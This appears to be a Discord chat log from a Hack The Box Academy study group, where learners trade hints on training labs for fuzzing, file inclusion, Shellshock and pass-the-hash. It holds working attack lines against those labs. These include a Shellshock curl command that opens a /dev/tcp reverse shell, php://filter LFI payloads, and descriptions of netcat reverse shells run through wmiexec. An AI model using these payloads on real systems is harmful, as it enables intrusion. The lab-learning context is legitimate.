modules

[uncut ocean]

[hoary gull]

Yw !

[limpid hemlock]

Hey im trying to solve labs in file inclusion prevention section from file inclusion module the 2nd question required me to edit php.ini file to block system() for me to execute a payload

I cant seem to find the place to edit block system() command within that file any help?

[sacred jacinth]

In Intro To Network Traffic Analysis Module Interrogating Network Traffic With Capture and Display Filters section:
What are the client and server port numbers used in first full TCP three-way handshake?

I figured out the answer, however, I am confused it says first full TCP three-way handshake so shouldn't that be ||the server at 207.244.88.140? That specific server is the first one to acknowledge but the correct answer isn't that server not even the very first SYN flag but the one right after which is on client's port 43806. Why?||

[marsh echo]

personally i use vim for search the variable for block system() /disable_

[violet pasture]

Has anyone made any progress on the web fuzzing skills assessment? I've tried a recursive fuzz and only found one directory. Can't do a subdomain search as I don't have the domain name, and I'm denied from accessing the one directory I've found. Any help on next steps will be appreciated

[swift carbon]

Feel free to dm me if you’re still stuck

[plucky hollow]

ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://FUZZ.inlanefreight.com/com/ I have a question, in this case, wouldn't it be necessary to add each subdomain to etc hosts and map it to the given target IP address?

[fathom pendant]

In this case no

Inlanefreight.com is a live website

[It's a fake company]

[plucky hollow]

oh then accesable for everyone

[fathom pendant]

Yep

[plucky hollow]

ok ty bro you always have the answer

[fathom pendant]

And routed on the public internet

[plucky hollow]

@fathom pendant you woman or man?

[fathom pendant]

Yes

https://tenor.com/view/the-road-to-el-dorado-both-both-is-good-gif-8304204

[winged copper]

Can i get help with web fuzzing skill assessment

I am stuck after godeep fuzzing

I found 2 urls but they are not working

[plucky hollow]

But in the case of publicly accessible addresses, is the value of /etc/hosts also changed to change the value of the hosts header and find virtual hosts associated with an IP address?

[fathom pendant]

You mean in the cases of docker containers or websites in general

Either way. The /etc/hosts file isn't changed dynamically

With ffuf you're manually manipulating the host header, which would be the header used when visiting a website

And in the case of not manipulating the header

Ffuf is literally just checking for 404/other indicators a site doesn't exist

[winged copper]

I cant run the url on my browser

Cant even curl it

[fathom pendant]

Did you add the subdomain to your /etc/hosts?

[winged copper]

Yes i did its still not working i dont know why

I added both hidden and fuzzing but didnt help

[cold dome]

I need help with Web Attacks - Bypassing Basic Authentication. I'm trying to see the supported http headers.

The module suggested to use this syntax:

curl -i -X OPTIONS http://SERVER_IP:PORT/

However, I still can't see the allowed headers.

[fathom pendant]

Are you trying https and not http?

[plucky hollow]

the i need to be uppercase

[fathom pendant]

Yeah options doesn't work

[winged copper]

http and it gives 404 not found

[cold dome]

I don't know what to do at this point 😦

[fathom pendant]

Do something else

Read the whole section

They give you some verbs

[limpid hemlock]

Hey im doing the skill assesment section in file inclusion module i try to get the base64 encoded string like in an earlier section of this module but im not able to get it

[sacred jacinth]

Any insights on this?

[cold dome]

Thanks for the hint. Done the first part. 🙂

[limber river]

yoo , doing ADCS attack , ESC10 anyone was able to perform the attack from windows ? , the module didn't cover that , I just want to make sure that is possible to do the attack from a windows machine

[limpid hemlock]

Any clue on skill assesment local file inclusion

[fathom pendant]

Nope

[sacred jacinth]

how come?

[fathom pendant]

[S]
[S.]
[.]

Is the full handshake

[sacred jacinth]

damn

I thought [.] means no flag

[fathom pendant]

Synack is just saying that they acknowledge the synchronization of timing, MTU, and other such important datagram modules

[sacred jacinth]

but its weird how tcpdump shows ACK flag

[sacred jacinth]

alrighttt thanks man

[fathom pendant]

. Is a common placeholder for ack

https://amits-notes.readthedocs.io/en/latest/networking/tcpdump.html#flags

[plucky hollow]

the docker containers are accesible for everyone no?

[sacred jacinth]

much appreciated

[fathom pendant]

Yes

I was just confused by your wording

With the docker containers, you're not gonna get anything by doing -u http://FUZZ.test.local

You need to manipulate the header

The header informs the server you're sending to, what resource location you're requesting

Most vhosts are set up in /var/www/<vhost>/

[winged copper]

It worked on browser now

But now am clueless

[fathom pendant]

Change anything? Otherwise chalk it up to something being dumb

[winged copper]

The stoneedge one shows on browser almost there ?

[winged copper]

Changed the machine

[fathom pendant]

It means you didn't go deep enough

Don't use any recursion limit

[winged copper]

Oof

[fathom pendant]

The flag will be given to you at the end of the road there

[winged copper]

Thanks for the help

[limpid hemlock]

Can Anyone help me with the skill assesment section in file inclusion i tried to check php configurations like in an earlier section in this module

But i am not geting any base64 encoded string

[pliant coyote]

https://academy.hackthebox.com/module/51/section/1640 In this section on Python privilege escalation, why do we need to run a file with privilege escalation code when we already have sudo python permissions? Why not directly use the privilege escalation command?

[fathom pendant]

Make sure you are looking for it properly

[acoustic owl]

check with sudo -l which rights you really have

[fathom pendant]

Because it won't look as suspicious

But also as payload said

Iirc it's php://filter/base64.encode/resource=[file]

You may also need to bypass some filters @limpid hemlock

[limpid hemlock]

I tried http sever port/index.php?page=php://filter/read=convert.base64-encode/resource=php.ini

[fathom pendant]

Why are you trying to check the ini?

Why not the index?

Also note this goes by the cwd

php.ini might not be in the cwd of the webroot

[limpid hemlock]

Ya i tried a whole oath like i did in pho wraper module

[plucky hollow]

@fathom pendant So both Docker and web pages in general work in a similar way in terms of how they treat headers to return a certain response, with the difference that web pages have those domains registered and by being on the authoritative servers of the domain providers where they are located, they can be found publicly through the DNS route?

[limpid hemlock]

Php wraper section in this same module There i got a base64 encoded string to check if allow url include was possible

I was trying to solve this like that

Way

[plucky hollow]

with the docker i mean the HTB ones

[fathom pendant]

you don't need the read=

php://filter/convert.base64-encode/resource= is what's given in the module

[fathom pendant]

sort of

at the end of the day

[limpid hemlock]

Ya i tried that the index showed a hidden page

[fathom pendant]

the Host Header tells the server where you're intending to look

[fathom pendant]

and did you look for the hidden_page/index.php?

:)

[limpid hemlock]

Yup

[fathom pendant]

You don't need to visit the hidden_page to find the hidden_index btw

Just set the php filter you've already identified resource= to the discovered dir/index

It's that easy

[limpid hemlock]

Im newbee i dont quite understand everything

[silent falcon]

Any hinits for api attack skill assessment?

[acoustic owl]

What exactly is not working?

[silent falcon]

I think uploading cv form for supplier . I just needs a hnint for that i trying that all day but i can’t solve it yet

[acoustic owl]

Send me a DM so as not to spoil anything here. Tell me what exactly you did

[silent falcon]

Yes sir i will send you

[safe star]

i finished the AD enumerations and attacks skill assessment 2, but im kinda confused on the way we had to get domain admin.

Why would i need to run responder on the windows host?

Wouldnt the multicast go to everyone on the network?

The llmnr attack seemed way too targeted imo but i guess its hard to simulate it without going to all host. maybe i dont understand it fully

[fathom pendant]

responder is just listening for requests that are being sent; generally either from broadcast or multicast

the poisoning it does is basically saying "Hi i'm here, are you there?" which receives a response (i'm probably way underrepresenting it)

[hushed sail]

having trouble with this question in Footprinting/DNS What is the FQDN of the host where the last octet ends with "x.x.x.203"?

[fathom pendant]

subdomains of subdomains

[safe star]

yeah i understand that, but i felt kinda weird cause there was def a script only targeting specific ip addresses, which wouldnt much sense irl right?

[fathom pendant]

what script?

:P responder doesn't run any major scripts aside from standing up services to pretend to be

[hushed sail]

i'm trying to brute force one particular subdomain, of which the last octet ends similarly, with dnsenum and the bash script, and getting nothing. And trying zone transfers with dig but it's like "host unreachable" 😵‍💫

[safe star]

im just guessing that there is a script on 2 of the workstations targeting 2 specific ip addresses

[fathom pendant]

dnsenum is the way to go

make sure you use a fierce wordlist

[fathom pendant]

it's not entirely unreasonable

¯_(ツ)_/¯

[hushed sail]

okay, i'll keep trying with that then

[safe star]

like net use \192.168.5.56\ every 2 mins

[acoustic owl]

Think about which subdomain could be a zone. What would make sense if you were to manage it separately

[fathom pendant]

that's just a script to make sure it's able to connect to a network share

that's not uncommon

and stay connected

[safe star]

yeah ik, just felt a bit too targeted i guess

[fathom pendant]

not really? ¯_(ツ)_/¯

[safe star]

wouldnt have thought of running responder on a compromied machine

[fathom pendant]

i mean it's a tool you're taught to use in the module

so it's not out of the ordinary to try and use something

¯_(ツ)_/¯

remember enumeration is iterative

you keep iterating your enumeration and exploitation until you reach the end of the rainbow

[safe star]

yeah

[fathom pendant]

so you'd run your enumeration tools

¯_(ツ)_/¯

simple as

[pseudo kiln]

yeah I was phased out by that too as they presented responder as something that responds to multicast/broadcast requests, not unicast

[fathom pendant]

it responds to any request

¯_(ツ)_/¯

[plucky hollow]

ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' In this command, wouldn't it be necessary to modify /etc/hosts? Just with the IP since the header is already being changed anyway?

[limber river]

but how ur machine will resolve academy.htb ?

[fathom pendant]

in this instance you could either;
A: in /etc/hosts -- put the ip domain
B: in the request use the ip:port

your system still needs to know how to resolve the domain

the HOST header just tells the ip/domain you're looking at what resources you're specifically looking for

i.e. support, www, store

and the host says "oh yeah that's over here" and directs to the right resource

[junior birch]

yo

[plucky hollow]

no i just copy paste that i was thinking something like this: ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://TargetIP:PORT/ -H 'Host: FUZZ.academy.htb'

[fathom pendant]

but if you want to browse to the found subdmain, you'll need it in your hosts file

[plucky hollow]

yes that will make it more simple thank you

[rustic sage]

Im trying to answer "Windows Attacks & Defense/ PKI - ESC1 / question 2". Im pretty sure i have the correct answer but it keeps on giving me wrong answer. The answer im trying to provide is "12/19/2022". Any help is appreciated

[wispy hound]

am on password attack module on "Passwd, Shadow & Opasswd" but will password has refused to work. any help thanks

[dim wolf]

http.server

[chilly girder]

hey i'm new to cybersecurity and i just started htp sites to start and i faced a problem with the linux fundementals part where it asks be to ssh to htp-student when i type the password it says premission denied i used both the browser room and set up the vpn one and generated multiple ids from the exam and the problem is the same

[shut vapor]

do you mean htb-student?

[chilly girder]

yep

[shut vapor]

because you typed "htp" twice in that sentence. I'd start by making sure you've got that character correct for the username.

[chilly girder]

i type
ssh htp-student@ip

[shut vapor]

you are confusing "p" with "b".

[chilly girder]

whait

[blissful plinth]

Hi guys and gals, i am currently busy with the DNS part of the footprinting module and would like some advice, when i run the dig command, i recieve a Warning: recursion requested but not available, is this part of the of the practical or is this an indication that i went wrong with configuration?

[fathom pendant]

need more info

also with dig you need to specify the server, since inlanefreight.htb isn't a publicly routed domain

[blissful plinth]

can i hit you with a dm of command and response i receive?

[fathom pendant]

https://tenor.com/view/john-mulaney-fine-gif-1470523405000260322

[fathom pendant]

yeah

it doesn't have internet connectivity

[cold star]

yes gotcha

[fathom pendant]

any box or workstation you will ssh/rdp into will not be connected to the outside world

[cold star]

keeps disconnecting every minute

[cold star]

oki got it

[fathom pendant]

/timeout:9000

also you don't necessarily need to rdp into it; ssh works just fine

[cold star]

To use tools like wireshark I have to but anyways thanks for helping

[fathom pendant]

1: wireshark isn't required 2: wireshark can be run from the CLI iirc

Almost through Attacking Common Apps

[marsh echo]

Your good progress, good luck 🫡

I’m at the level of tomcat cgi 😅

[fathom pendant]

It's not that bad

Imo don't be afraid to pull up the guide for the retired machine "fatty" for the thick client section that deals with Java

Because that section was like pulling teeth trying to understand it and the "why" behind some of it

(Because its not explained)

[marsh echo]

you are talking about cgi or another section

[fathom pendant]

read my statement carefully, lol, but not CGI

every other section was easy (relatively)

the thick client comes out of NOWHERE

[marsh echo]

ah I see I’m not yet at the, but I understand lol, ya nothing that I hear "java" the neurones start to see blurred

[fathom pendant]

imo it is NOT FUN

and i'm pretty sure that take is as cold as ice

[novel lynx]

I can't imagine how hard it would be for someone like marcie to watch me go through these modules. I often find the answer and not realize it, and proceed to spend another hour frustratingly searching for the answer that i've already found.

[fathom pendant]

been there, done that, got the t-shirt

[novel lynx]

❤️ i feel the struggle

[fathom pendant]

you also have to realize when i'm helping others, i'm helping through the lens of hindsight

[dim wolf]

CPTS t-shirt soon

[fathom pendant]

i sure as shit didn't get through all the modules so far without some level of skill issue of my own

it's why sometimes my hints refer specifically to what tripped me up when I did it

shiiit the footprinting module with the hard lab... i completely forgot about the one service...which would have saved me so much time

[dim wolf]

some of the exercises in Injection Attacks are brutal if you fail the knowledge check

[marsh echo]

If we have CPTS send us a shirt?

[fathom pendant]

it's a separate package you order

$20 + shipping

(depending where you are shipping may be the cost of the exam itself )

[dim wolf]

you can order it in the My Certificates page after you get your cert

https://hackthebox.store/products/hack-the-box-cpts-certification-package

[hushed sail]

took a nap, came back and got it in like two seconsd

[marsh echo]

it's good 20$ when I’m going to have it I’ll frame this fucking piece of paper because he made me fall several times

[hushed sail]

also thank you @acoustic owl for giving me more direction on how to think about this

[marsh echo]

That looks good!

[dim wolf]

yup. CBBH also has a cert package

CDSA and CWEE are planned to get their own by EOY

[fathom pendant]

LMFAO i completely guessed for q1/2 of the skill assessment 1 as the target was spawning

i can't even rn

[dim wolf]

brug..

[fathom pendant]

it was a total shot in the dark for 1 then it was an educated guess for 2

[marsh echo]

CBBH, I think to pass it after the cpts I would see according to my objectives

[dim wolf]

CBBH is fun. def recommend

[marsh echo]

okok according to my friend who got the cpts we are around 60% of the CBBH so yes it's worth it.

[safe star]

What was ur experience before taking these exams

3 is crazy

[dim wolf]

my major is cybersecurity with a specific focus on network and endpoint security

[dim wolf]

it's a great foundation for bug bounty/web pentesting

with the new modules replacing the old ones, the quality of the content will significantly increase

[fathom pendant]

here with the module name, section name, and what you're stuck on alongside what you've tried

being vague only hurts your cause

https://tenor.com/view/that-is-incredibly-unhelpful-isaac-goodwin-sex-education-that-doesn't-help-me-at-all-that-is-useless-gif-12372771945317590256

It helps to (without spoiling the environment) state what you've tried so far

you can also utilize the search feature in discord to see if others have had the same question

[fathom pendant]

https://academy.hackthebox.com/achievement/667914/113 it has been achieved Victory is mine

https://tenor.com/view/spongebob-speech-love-victory-screech-gif-5464277

[marsh echo]

gj marcie 🙂

[fathom pendant]

i will say

the third lab

was really disappointing imo

[marsh echo]

I've been wanting to get into bug bounty and it's perfect timing 😉

[marsh echo]

that looks hot my god

[fathom pendant]

nah just...not a lot to it tbh

the second assessment was the juiciest

also might throw some feedback for it, since it looks like the third assessment was lifted from a retired machine (logged in and saw root.txt...) regarding giving a bit more clear instructions on where to find certain things like the .dll (though not necessary to search) you're meant to look through

even doing it slightly differently it's still a tad underwhelming (but that's my 2 cents, and i'll probably formulate it better somehow someway for /feedback)

[woeful oxide]

Hey fellow hackers

Is there a way to reset a module in academy?

[marsh echo]

ok I see I’m not yet at but I take note in case it can help me

[ocean night]

Do you mean like, reset the progress you have made?

[fathom pendant]

No

I swear that needs to be pinned

[ocean night]

Curious why you'd want to reset your progress TBH, but I guess that question has also been asked a lot 😅

[fathom pendant]

Well it's probably due to when modules get updated, the answers don't wipe, and they often don't match the new expected answers

[ocean night]

Fair point

[woeful oxide]

Well, saw that a module got updated, did the new sections and went ahead to finish the skill assessment, I think it’s bugged, the new questions got the past answers and didn’t not match with the new ones

[fathom pendant]

^

[ocean night]

🙂

[woeful oxide]

Exactly

[ocean night]

We're always open to /feedback

It goes directly to the HTB team

[fathom pendant]

There's a firefox extension in #resources-tools that someone's made that pseudo does that

[woeful oxide]

Looking at that really triggered my OCD

[woeful oxide]

Oh really?? Cool, thanks

Also, I think that a “reset” button that wipes all the answers but doesn’t wipe the overall progress on the dashboard would be great, you know, just to refresh the knowledge, sometimes I take a look back at a module but feel something is missing because I can’t input the answer again and get that dopamine rush

[fathom pendant]

Eh

It's easy to get caught up in the dopamine rush

[woeful oxide]

It is

[fathom pendant]

But there's no point in resubmitting the same answer

[ocean night]

Well, I've passed on the feedback RulOpsSec, I imagine the team have heard it before and likely have had some discussions regarding it, but chucked it over the fence just in case

[woeful oxide]

Really appreciate it!

[fathom pendant]

G0blin bullying the dev team

Likely though it's a backend issue

Database storage for the answer key or some such

[ocean night]

Do you have an example module / section RulOpsSec?

[ocean night]

Bully? Nooo... provide feedback

🙈

[fathom pendant]

The information gathering - web edition module

Which was temporarily renamed to Web Recon

[woeful oxide]

Exactly, that one

[woeful oxide]

Do you recall the extension name?

[fathom pendant]

It's literally posted there earlier today

Idk if it's on the ff store

[woeful oxide]

Gotcha, appreciate the help

[marsh echo]

guys there a things i dont understand about the reverse shell curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/IP/7777 0>&1' http://10.129.205.27/cgi-bin/access.cgi here, that makes reference a can like log poisoning (because we attack a User-Agent) as lfi or it is really the bash environment that is vulnerable according to its version of which it is possible to have a reverse shell, for this section : https://academy.hackthebox.com/module/113/section/2166

[ocean night]

I'd advise reading up the section a bit @marsh echo - you'll find what the reasoning behind this request is 🙂

[fathom pendant]

Yeah the reasoning is actually given (shellshock)

[marsh echo]

yes may be I misunderstood :/ but I got the shell

[ocean night]

If so, have a re-read of that section

Solidify your understanding before moving on, it's not a race 🙂

[marsh echo]

of course 😉

[fathom pendant]

Read up on the actual vulnerability being abused here; shellshock

https://nvd.nist.gov/vuln/detail/CVE-2014-6271

[marsh echo]

yes I saw, thank you I will reread it before sleeping, but I told myself since the user agent is attacking is what was the same kind of attack as log poisoning that LFI ( because it’s me remember this) but I have gone too far in my reflection lol

[fathom pendant]

Looks like for apache it's abusing mod_cgi / mod_cgid

[marsh echo]

thx I understand better

[fathom pendant]

the privesc modules; Doc&Reporting; and then AEN

https://tenor.com/view/so-close-i-could-taste-it-near-almost-close-kate-mc-kinnon-gif-13014007

[gilded radish]

guys, who has some articles about ssrf vuln and how to exploit it in diff ways?

[marsh echo]

ahah I think we're going to take it at the same time (well I think you'll take it a few days before), btw how do you plan to revise?

[fathom pendant]

well gotta go back and refactor my notes and such anyway

so

¯_(ツ)_/¯

early on i was pretty lazy

then i got less lazy

then lazy again

...

it's not consistent

[marsh echo]

ahhah I understand you, but it was when I had finished AD that I did a lot of hanging around and then I went back to work, but I made the mistake of doing my notes badly before AD, so I'm thinking of redoing my notes from now on.

[fathom pendant]

it's not bad to go back over notes

see what makes sense and see what doesn't

as the mindset you had when initially writing things down may be different now

[hushed sail]

idk why i’m having so much trouble with footprinting. FOOTPRINTING.

[fathom pendant]

and something you wrote might look like nonsense to decipher

what section?

[marsh echo]

but it's the home stretch, you can't let go

[marsh echo]

that's exactly it!

[fathom pendant]

I look back at some of my highschool hand written notes and am like "wtf was I on?"

[hushed sail]

SMTP. Can’t get user. I’ve used the wordlist from resources manually with smtp-enum-user and with metasploit, and with the metasploit wordlist in metasploit. And i just get nothing?

it’s working because i’m getting output. just no matches.

tried resetting the lab a couple of times.

[fathom pendant]

smtp can be a slow service

[hushed sail]

and i’m stubborn as hell trying not to ask for help lol

[flint bane]

Damn

[fathom pendant]

also using the right method as well can be helpful

[flint bane]

Cpts soon

[fathom pendant]

i'd have to be sure i can have 10 days of no major life disruptions first

[flint bane]

How long you been study ?

[flint bane]

lol true

[fathom pendant]

https://tenor.com/view/longtime-titanic-84years-gif-5134219

a little over a year; but i had a good 4-5 months where I couldn't really study

no internet and such

[marsh echo]

but that's exactly it i went back over one of my notes to help someone even i didn't understand my notes there wasn't enough precision it forced me to redo the exercise to understand better and it took 5 minutes

[flint bane]

Woow but you did it

Almost done

[hushed sail]

should i be using nse script instead? or just brute-forcing manually in telnet? lol

[flint bane]

10 days kind of long ngl

Specifically if you adult

[fathom pendant]

not manually

god no not manually

and nse scripting is a pain in the ass

use the smtp-user-enum tool

[flint bane]

Marcie
You have job ?

[fathom pendant]

no

[flint bane]

Woow hopefully you find one soon

I got IT job recently

No certs

[fathom pendant]

i keep checking my email

but my Nigerian Prince hasn't delivered

[flint bane]

I apply for that job 8 times the one I working right now

💀

Pay is not bad

[flint bane]

You from USA correct ?

[hushed sail]

smtp-user-enum -U /usr/share/wordlists/footprinting-wordlist.tx -t <Lab IP> -m 150 -M VRFY is what i’ve been using

[fathom pendant]

yes

-W or -w 25

[hushed sail]

and auxiliary/smtp/smtp_enum or whatever in metasploit.

metasploit was like, user found: nobody

[fathom pendant]

i forget which is the timeout waiting

[hushed sail]

okay. i’ll slap that flag on there lol

[fathom pendant]

either -W 25 or -w

you can always do smtp-user-enum -h

to see the command flags

[hushed sail]

yeee

thanks marcie. i owe ya. i’ll cut your grass someday or something lol

[fading cipher]

How often do I need to re-download the VPN packs?

[fathom pendant]

never

CPN isn't a thing

the vpn packs however

only when you change regions

[fading cipher]

hm weird

[fathom pendant]

why?

[fading cipher]

Ran into a couple issues today and yesterday with the VPN

[fathom pendant]

(if you're using the in-browser pwnbox, the answer is never)

change vpn regions then ¯_(ツ)_/¯

[fading cipher]

yeah i just scanned from kali and nada

scanned from pwn box and results

[fathom pendant]

well

the other dumb question is... were you connected to the vpn?

[fading cipher]

yes

[fathom pendant]

so you had a tun0 ip if you ran ip a

[fading cipher]

yes

[fathom pendant]

¯_(ツ)_/¯

[fading cipher]

🤷‍♀️

[cloud urchin]

do you have the pwnbox on while also being connected to the vpn at the same time? if so that causes problems.

[fading cipher]

nope, opened the pwn box after running into issue

[cloud urchin]

have you recently changed regions on the vpn

[fathom pendant]

^

[fading cipher]

not unless it changed itself

have not touched the VPN setting from default

[fathom pendant]

if you do head academy-regular.ovpn do you see [edge-]us-academy-2

[fading cipher]

yup

remote edge-us-academy-2.hackthebox.eu

Just re-downloaded the back and it works now

I just redownloaded it last night too though

[fathom pendant]

¯_(ツ)_/¯

[viral snow]

Password Attacks-Credentials Hunting in Linux.

I already SSH's in Kira, and have moved laZagne.py.

But when I type "python3 laZagne.py all" on the host I get:

"Traceback (most recent call last):
File "laZagne.py", line 17, in <module>
from lazagne.config.write_output import write_in_file, StandardOutput
ModuleNotFoundError: No module named 'lazagne'"

Any help?

[cloud urchin]

well, it says you're missing the lazagne module. you could try installing it.

[dim wolf]

you can't run the script if it's missing an import. the host you're on doesn't have the lazagne module installed

[cloud urchin]

oh you're remoted into a box so probably can't install it

[fathom pendant]

probably not

[viral snow]

Yeah, I did that. And apparently I'm not the only one running into this problem.

[cloud urchin]

i don't really recall that specific module, but it's probably safe to say it doesn't require lazagne to move forward if it doesn't work on the victim box.

[viral snow]

Hmm

[fathom pendant]

you don't need lazagne

there is another tool that's showcased in that section

[quasi wave]

Can I DM someone? I think I am close to the right answer

which is why the terminal output was banned from this Discord server

[cloud urchin]

just articulate your problem here

[quasi wave]

I just solved it on my own never mind

[languid fjord]

It’s not

It was a false positive with another rule

[plucky hollow]

How do tools like fluff prevent their IP from being blocked when sending so many requests from the same address?

[fathom pendant]

It depends

They don't do really anything to prevent getting blocked

But you can limit your rates and such so as to attempt to not trigger any WAFs

[novel lynx]

i'm so close, yet so lost. At the last question that's not the bonus question for the Pass the Hash (PtH) module in password attacks. i pass the hash attack with user julio and respective hash, then i set up an nc listener to powershell, then i go to my pwnbox and get the output from the reverse shell website, this is where i am confused. Do i set up another powershell tab and let the nc run? i did this and ran the big Invoke command, and it says "Command executed with process ID 4708 on DC01", but then that's where im stuck, i don't see a reverse shell pop up

[fathom pendant]

Did you set the right callback ip

Make sure you use the right interface

[novel lynx]

ummmm, am i supposed to set up the netcat listener on my pwnbox, or within julio's rdp?

[cloud urchin]

netcat is the listener that catches the reverse shell

it's receiving the incoming connection

[novel lynx]

righttt, so it would make sense to set that up in my pwnbox, right??

[cloud urchin]

correct, the revshell powershell script will initiate the connection

[fathom pendant]

Well

In this case

The internal host has no route to the pwnbox

[fathom pendant]

In this case no

[cloud urchin]

ahh yeah if there's a pivot host you'll need to tunnel through that

[novel lynx]

ya i'm seeing that, "To get a reverse shell, we need to start our listener using Netcat on our Windows machine"

[fathom pendant]

Set it up in the host you're rdp on, C:\tools should have nc64.exe

[plucky hollow]

@fathom pendant During a engagement what you use to take notes, I have tried with plain text and with cherrytree however I have not adapted to those

[fathom pendant]

I use obsidian for my note taking but I'm not in this line of work (yet)

https://obsidian.md

[cloud urchin]

i also use obsidian, it's very nice

[novel lynx]

right, so i rdp hash attack into julio, set up netcat listener in powershell in julio rdp, i go to the reverse shell website and put in my target ip and get the script shell, then i go back to julio and...this is where i'm confused

[fathom pendant]

You don't put the target ip in the revshell

You put the ip that would match the interface that's calling out to the dc

(ipconfig)

172.16.x.x I believe

[novel lynx]

ohhh, so i put julio's ip in the reverse shell?

[plucky hollow]

I'll try it with Obsidian, I've used it for years but not for this kind of things. Now that I think about it, Excalidraw or the integrated canvas could be a good option.

than k u

[novel lynx]

172.16.1.5

[fathom pendant]

Specifically the ip that's on the same subnet

[fathom pendant]

Yes

[plucky hollow]

that is a private address?

[fathom pendant]

Indeed

[novel lynx]

whoa

[fathom pendant]

Often the internal network of the private machines are on the 172.16.0.0/24 subnet

[novel lynx]

so am i supposed to have one powershell running the netcat with julio, and a separate powershell running the reverse shell command within julio also?

or do i need to be running netcat in cmd, and run the reverse shell command in powershell?

[oak girder]

I've been waiting for a long time. What's the problem?

[novel lynx]

asking me?

[grand loom]

happened to me once, i started another machine in a different section, terminated it then went back to the previous one that wasnt working and started that

somehow it worked then

[safe star]

yeah

[oak girder]

Okay, but I don't think I started the other machines.

[novel lynx]

i'm having such trouble trying to get this to work, i'm not quite clear on what the point of the reverse shell website is, maybe that's where i'm having the problem, is it just so i can get the script so i can copy/paste into the reverse shell command?

[safe star]

yes

[novel lynx]

ok so then that shouldn't be the problem for me then

[safe star]

then u run it as the command in wmiexec

[cloud urchin]

wmi is probably one of the last method i'd try

or one of the last at least. try smbexec or something instead.

[safe star]

yea that should work

unless u got the ip wrong

[limber river]

did you load the invoke-hash module first ?

[novel lynx]

me posting this here worked, i'm missing the quotation at the end 🤣 😭

[limber river]

lol

gg

[safe star]

true, just going by the example shown

[novel lynx]

i hate everything right now

I got the flag! Man i feel like every module in this password attacks is a struggle.

[cloud urchin]

feels good. you're learning it sounds like to me.

[novel lynx]

I sure am. I really want that progress bar to be moving so much faster than it is.

[cloud urchin]

marathon not a race

it takes time to actually commit it to memory and gain skills

[novel lynx]

Facts. I think I will be more proud to pass this certification, than every certification combined through WGU.

[cloud urchin]

i do wish i could just implant knowledge like johnny mnemonic though

just completing the course, not even the exam, is an accomplishment

[novel lynx]

100% agree

[plucky hollow]

why i cant extend my instance any longer

[vague dust]

For the mini module Using Splunk applications the sysmon add on they suggested has been archived and no longer supported. is there another one i should be using instead?

[cloud urchin]

there's a maximum time limit you can't just extend it forever. you can terminate it and respawn it.

[uncut ocean]

hey can i ask some question regarding Pass the Ticket (PtT) from Linux as i am not good in chisel

[plucky hollow]

The enumeration lasts longer than the time that the pwnbox lasts

[cloud urchin]

i don't recall any module like that

[ocean night]

Yeah... which VPN are you on, and which module / section @plucky hollow ?

[safe star]

Wym?

[plucky hollow]

the Skills Assessment of web fuzzing / Attacking Web Applications with Ffuf, the issue is that analyzing everything recursively takes a lot of time

[cloud urchin]

ffuf is pretty fast, it doesn't take hours to do that at all.. i think it was like less than 20 or 10 mins for each thing

[storm elk]

If it can’t be found within a few minutes, you’re usually on the wrong path

[plucky hollow]

What is the maximum number of simultaneous threads that you recommend I use with ffuf?

[cloud urchin]

i don't think i changed the threads when i did it

[cloud urchin]

you have over 4300 errors

so you're probably not doing something right

i was replying to tomrider36 not you sorry

generally one of the following will fix connection issues. you can do all of them too and it'll probably fix it. terminate the target. disconnect from the vpn -> download a fresh vpn file. restart your host machine. reconnect to the new vpn file, spawn the target, wait 3-5 mins after the target spawns.

in my screenshots from ffuf i don't have any errors

[plucky hollow]

ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://faculty.academy.htb:47681/FUZZ -recursion -e .php7 -v

[uncut ocean]

hey i have one question in Pass the ticket in linux Question is Transfer Julio's ccache file from LINUX01 to your attack host. Follow the example to use chisel and proxychains to connect via evil-winrm from your attack host to MS01 and DC01. Mark DONE when finished.

here i get the linux01 flag how can i transfer the ccache file of julio

?

[cloud urchin]

i like scp

[royal mist]

Heyy

I have a doubt , I am learning ethical hacking and I am new in this field and I have windows pc , should I replace my windows with Linux or use linux as Virtualbox?? Please suggestions @everyone

[cloud urchin]

either works, but being practical a vm is probably better

[uncut ocean]

?? from linux01

[royal mist]

Ohkk , thank you, are you a ethical hacker too?

[plucky hollow]

do you have hackthebox account?

[royal mist]

I don't have the premium membership

[cloud urchin]

idk about that particular module. i thought you were talking about a transfer to a linux box, i like scp for that. if you're transferring to windows i like the /drive parameter for xfreerdp.

[uncut ocean]

no bruh thats not the case here i can access linux01 through smb

@fathom pendant big boy help me

[cloud urchin]

what? you asked how to transfer a file.

[uncut ocean]

thats the question

[cloud urchin]

your prompt says to transfer from linux to your attack box. isn't your attack box linux?

yeah i answered it, scp for linux transfers

[uncut ocean]

ya but i can access the user linux01 through smbcient

[royal mist]

Can please someone help me here too ? 😭

[cloud urchin]

so?

[zinc nimbus]

with what

[royal mist]

With some guide for hacking

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[zinc nimbus]

try htb and get a vm on virtualbox and learn some linux u’ll have to get used to shell

[royal mist]

I know a very well Linux and from where I can learn she'll???

[zinc nimbus]

it just means cmdline

[royal mist]

Ik that

[zinc nimbus]

if u know then u can start the cpts module for pentesting

[royal mist]

Cpts??

[storm elk]

Read the link above

[royal mist]

@storm elk where?

[zinc nimbus]

ye the cpts pathway

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[storm elk]

This ⬆️

[royal mist]

Thanku 🥹

[cloud urchin]

you can ask that question without the screen shot, and posting something like that is against the rules unless it's a tier 0 module

[ocean night]

Crap sorry @plucky hollow - got totally distracted

Give me a sec.

[ocean night]

This is your command?

[uncut ocean]

[e-mail]@10.129.17.154's password: 
scp: remote open "/tmp/krb5cc_647401106_HRJDux": Permission denied
                                                                      ```

[plucky hollow]

yes

[cloud urchin]

your problem says permission denied, so a permission issue

[plucky hollow]

sudo

[ocean night]

Are you on the first question tom?

[cloud urchin]

the error suggests svc_workstations doesn't have permissions required to read or access the file on the remote machine

[ocean night]

Oh, no of course you're not

Question 3?

[plucky hollow]

omg

after like 30 minutes the pwnbox just close connection

[plucky hollow]

